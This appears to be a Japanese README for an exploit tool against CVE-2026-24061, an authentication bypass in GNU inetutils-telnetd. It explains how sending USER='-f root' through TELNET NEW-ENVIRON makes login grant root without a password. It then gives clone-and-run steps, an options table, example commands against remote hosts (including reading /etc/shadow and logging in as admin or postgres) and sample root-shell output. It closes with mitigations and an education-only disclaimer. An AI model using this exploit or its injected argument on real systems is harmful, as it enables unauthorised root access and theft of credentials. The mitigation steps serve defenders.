
inetutils-telnetd 認証バイパス - 動作確認済み
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-24061 |
| 影響を受けるソフトウェア | GNU inetutils-telnetd |
| 影響を受けるバージョン | 1.9.3 – 2.7 |
| 脆弱性の種類 | 認証バイパス |
| CVSS スコア | Critical |
| 攻撃ベクトル | ネットワーク |
この脆弱性は、プロトコルネゴシエーション中に TELNET NEW-ENVIRON オプション(RFC 1572)を介して受信した USER 環境変数を telnetd が処理する際の欠陥を悪用します。
TELNET プロトコルネゴシエーション: クライアントが接続すると、サーバーとクライアントは NEW-ENVIRON オプションを含む機能をネゴシエーションします。これにより、クライアントは環境変数を送信できます。
悪意のある USER 値: エクスプロイトは、このネゴシエーションフェーズ中に環境変数として USER=-f root を送信します。
安全でない引数の受け渡し: 脆弱な telnetd は、この値をサニタイズせずに login プログラムへ渡します。
コマンドインジェクション: login プログラムは -f root をコマンドラインフラグとして解釈します:
-f = 「認証なしでログインを強制」root = ログインするユーザー名root アクセス: 攻撃者はパスワードを求められることなく root シェルを取得します。
Client sends: USER = "-f root"
telnetd runs: login -f root
Result: Root shell granted without authentication
これは、脆弱な telnetd が動作するシステム上で USER='-f root' telnet -a localhost を実行することと同等です。
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPTIONS] <target>
| オプション | 説明 | デフォルト |
|---|---|---|
host | ターゲットのホスト名または IP アドレス | 必須 |
-p, --port | ターゲットポート | 23 |
-u, --user | 注入する USER 値 | -f root |
-c, --command | 単一コマンドを実行(非対話型) | なし |
-t, --timeout | 接続タイムアウト(秒) | 10 |
localhost での対話型 root シェル:
./exploit.py localhost
リモートホストでの対話型 root シェル:
./exploit.py 192.168.1.100
単一コマンドを実行して終了:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
別のユーザーとしてログイン:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
非標準ポート:
./exploit.py -p 2323 localhost
オプションの組み合わせ:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
-c フラグなしで実行すると、エクスプロイトは対話型シェルにドロップします:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
telnetd を無効化: 厳密に必要でない場合は、telnet サービスを完全に無効化します
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
代わりに SSH を使用: リモートアクセスには telnet の代わりに SSH を使用します
sudo apt install openssh-server
ファイアウォールルール: 信頼できないネットワークからのポート 23 をブロックします
sudo ufw deny 23/tcp
このエクスプロイトは、以下のことを行う最小限の TELNET クライアントを実装しています:
USER=-f root を送信このツールは、教育目的および許可されたセキュリティテスト目的のみで提供されています。
MIT ライセンス — 詳細は LICENSE を参照してください。